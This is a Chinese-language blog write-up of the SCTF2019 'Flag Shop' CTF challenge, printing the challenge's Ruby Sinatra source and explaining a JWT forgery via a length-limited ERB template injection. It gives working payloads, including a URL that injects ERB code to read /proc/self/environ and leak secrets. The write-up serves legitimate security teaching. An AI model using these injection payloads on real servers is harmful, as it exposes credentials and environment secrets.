文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   1.3k

SCTF2019 Flag Shop

考点

  • JWT伪造
  • Ruby SSTI

解题

解法1

打开靶机,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<h1 style="text-align: center">Flag Shop</h1>

Your uid is <b id="uid"></b>
<br />
Your JinKela is <b id="jkl"></b>
<br />
Flag Price: <b>1000000000000000000000000000</b>
<hr />

<button onclick="buyFlag()" style="text-align: left">buy flag</button>
<button onclick="reset()" style="text-align: center">reset</button>
<button onclick="work()" style="text-align: right">work</button>

<script>
function buyFlag() {
fetch("/shop", {
method: 'POST', // or 'PUT'
headers: new Headers({
'Content-Type': 'application/x-www-form-urlencoded'
})
})
.then(res => res.text())

.then(function (response) {
alert(response)
})

.catch(error =>alert(error))
}
function reset() {
if(confirm("This will reset all Jinkelas , Are U Sure?")){
fetch("/api/auth");
setTimeout(()=>window.location.reload(),500);
}
}
function work() {
fetch("/work?name=bot&do=bot is working")
.then(()=>window.location.reload());
}

fetch("/api/info",{
redirect: 'manual'
})
.then(function (res) {

if(res.ok){
return res.json()
}
else{
fetch("/api/auth")
reject;
}
})
.then(res=>{
var info = res;
console.log(info);
document.getElementById("uid").innerText = info.uid;
document.getElementById("jkl").innerText = info.jkl;
})
.catch(error => setTimeout(()=>window.location.reload(),500))

</script>

auth 之后会得到一个 jwt token。

现在就需要找到secret。扫描站点,发现有filebak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

重点关注work路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end

可以看到 /work 那里有 ERB 模板,还直接把可控参数 name 拼进去了,那么这里我们就可以传入一些构造过的参数,来达到我们的目的了。但是限制了payload的长度为7。比如 name=<%=1%>,就会得 1。

一些常规的SSTI注入由于长度的限制,最多只能由两个字符,肯定是行不通的。

对照 Ruby 全局变量表 ,不断 fuzz,发现$有东西

1
2
3
4
5
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

其在模板渲染之前之前有个匹配,就是这里。要是 SECRET 参数存在则对其进行匹配,用传入的这个值去和 ENV["SECRET"] 匹配,匹配上了就往终端输出 FLAG。然后我们 SECRET 不传试试,这样括号里的匹配就不进行,只进行括号外的 ENV["SECRET"] 的匹配,再用全局变量 $ 就可以读出 ENV["SECRET"] 了。

解法2

HTTP参数传递类型差异产生的攻击面

先介绍一个trick

1
2
3
4
$a = "qwertyu"
$b = Array["bbb","cc","d"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"

输出结果

1
2
$a: qwe
$b: ["bbb", "cc", "d"]

$b变量原本是数组,但是由于被拼接到了字符串中,所以数组做了一个默认的类型转换变成了["bbb", "cc", "d"]

有了这个trick,上面代码[0,7]从原本的限制7个字符突然变成了限制7个数组长度

payload

1
/work?SECRET=a&do=["<%= File.open('/proc/self/environ').read %>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%= File.open('/proc/self/environ').read %>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

需要对do参数urlencode编码

参考

https://writeup.ctfhub.com/Challenge/2019/SCTF/34251.html

https://evoa.me/archives/15/

Copyright © ca01h 2019-2020 | 本站总访问量